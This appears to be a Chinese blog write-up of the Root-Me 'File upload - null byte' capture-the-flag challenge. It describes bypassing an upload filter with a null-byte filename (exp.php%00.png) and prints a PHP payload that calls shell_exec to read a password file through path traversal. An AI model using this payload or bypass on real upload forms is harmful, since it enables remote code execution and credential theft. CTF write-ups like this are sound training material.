加载中...

【Root-Me】 File upload - null byte



这题和【Web-Server : File upload - double extensions】、【Web-Server : File upload - MIME type】的渗透思路是一样的,区别在于之前的两种绕过方式均被封锁了。

这次提示的绕过方式是空字节漏洞 null byte ,依然在文件名上做文章,构造 payloads 文件 exp.php%00.png

<?php
    // exp.php%00.png
    // 假如这个文件上传成功,则可以利用 web 打开这个文件进行解析时进行路径穿越
    $content = shell_exec('cat ../../../.passwd');
    echo "<pre>$content</pre>";
?>

此文件名在上传时,可以在前端后缀欺骗,而后端在读取时遇到 %00 空字节会截断后面部分。

上传成功后获得 exp.php%00.png 文件的完整 URI,手工去掉末尾的 %00.png 后拼接到 URL,即可获得密码,完成挑战。


答案下载

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录